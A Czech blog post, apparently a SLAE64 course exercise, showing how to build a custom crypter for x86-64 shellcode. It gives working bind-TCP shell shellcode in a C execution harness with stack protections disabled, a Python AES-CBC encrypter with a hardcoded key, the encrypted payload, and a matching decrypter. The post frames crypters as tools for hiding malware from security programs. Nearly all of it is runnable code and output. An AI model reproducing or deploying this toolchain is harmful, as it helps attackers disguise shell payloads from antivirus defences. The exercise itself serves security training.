V sedmém textu této 64bitové série bude demonstrována tvorba custom crypteru pomocí již existujícího schématu.
“A crypter is a type of software that can encrypt, obfuscate, and manipulate malware, to make it harder to detect by security programs. It is used by cybercriminals to create malware that can bypass security programs by presenting itself as a harmless program until it gets installed.” Zdroj
Pro demonstraci budeme používat shell_bind_tcp. Otestujeme shellcode:
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x52"
"\xc7\x04\x24\x02\x00\x23\x29\x48\x89\xe6\x6a\x10\x5a\x6a\x31"
"\x58\x0f\x05\x6a\x32\x58\x0f\x05\x48\x31\xf6\x6a\x2b\x58\x0f"
"\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00"
"\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";
main()
{
printf("Shellcode Lenght: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
- gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

Budeme využívat AES-CBC šifrování pomocí pythonu. Více informací ohledně použitého schématu naleznete zde:
- https://pythonhosted.org/pycrypto/Crypto.Cipher.AES-module.html
- https://pycryptodome.readthedocs.io/en/latest/src/cipher/aes.html
- https://csrc.nist.gov/csrc/media/publications/fips/197/final/documents/fips-197.pdf
- https://pycryptodome.readthedocs.io/en/latest/src/cipher/classic.html#cbc-mode
CBC šifrování používá bloky o velikosti 16 bytů.
# !/usr/bin/env python2
# File name: encrypter.py
# Author: SLAE64-14209
from Crypto.Cipher import AES
data = ("\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x52"
"\xc7\x04\x24\x02\x00\x23\x29\x48\x89\xe6\x6a\x10\x5a\x6a\x31"
"\x58\x0f\x05\x6a\x32\x58\x0f\x05\x48\x31\xf6\x6a\x2b\x58\x0f"
"\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00"
"\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05")
cipher = AES.new('MY_PASSWORD12345', AES.MODE_CBC, '1234567890123456')
l = len(data)
g = l%16
t = 16 - g
print "offset: " + str(t)
data = data + "A" * t
enc = cipher.encrypt(data)
encoded = ""
for x in bytearray(enc):
encoded += '\\x'
enc = '%02x' % x
encoded += enc
print encoded

Jak můžeme vidět, encrypter funguje. Offset je 10 a zašifrovaný shellcode je:
\xa5\x48\x6d\xf6\xe8\x14\x2a\xab\x17\xbe\x52\xfc\xa8\x32\xa9\xc2\x4b\xd6\xba\xe7\x82\x1a\xa0\x60\xf9\x64\xab\xbe\x2f\xfc\xde\xae\x98\xd8\xef\x98\x60\x58\x3f\x9c\xdb\x8f\x32\xdd\x32\x8f\x29\xce\x04\xe5\xfe\xd6\x20\x6d\x50\x20\x9b\x40\xeb\x7f\x04\x68\xc2\x2b\x98\xf1\x90\x33\xf3\xea\xe1\xff\x7e\xff\xf0\xf9\x49\x1a\x2a\x32\x21\x85\x21\xe7\x2c\xb3\x7f\xf8\x86\x99\x8b\x70\xb8\x99\x0e\xdf
Dále musíme vytvořit decrypter.
# !/usr/bin/env python2
# File name: decrypter.py
# Author: SLAE64-14209
from Crypto.Cipher import AES
offset = 10
data = ("\xa5\x48\x6d\xf6\xe8\x14\x2a\xab\x17\xbe\x52\xfc\xa8\x32\xa9\xc2\x4b\xd6\xba\xe7\x82\x1a\xa0\x60\xf9\x64\xab\xbe\x2f\xfc\xde\xae\x98\xd8\xef\x98\x60\x58\x3f\x9c\xdb\x8f\x32\xdd\x32\x8f\x29\xce\x04\xe5\xfe\xd6\x20\x6d\x50\x20\x9b\x40\xeb\x7f\x04\x68\xc2\x2b\x98\xf1\x90\x33\xf3\xea\xe1\xff\x7e\xff\xf0\xf9\x49\x1a\x2a\x32\x21\x85\x21\xe7\x2c\xb3\x7f\xf8\x86\x99\x8b\x70\xb8\x99\x0e\xdf")
cipher = AES.new('MY_PASSWORD12345', AES.MODE_CBC, '1234567890123456')
h = cipher.decrypt(data)
decoded = ""
for x in bytearray(h):
decoded += '\\x'
enc = '%02x' % (x & 0xff)
decoded += enc
print decoded[0:-offset*4]

Protože je output stejný jako původní shellcode vidíme, že decrypter funguje, můžeme jej otestovat:
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x52\xc7\x04\x24\x02\x00\x23\x29\x48\x89\xe6\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x6a\x32\x58\x0f\x05\x48\x31\xf6\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";
main()
{
printf("Shellcode Lenght: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
- gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

Všechny použité soubory můžete nalézt zde: https://github.com/Pal1Sec/SLAE64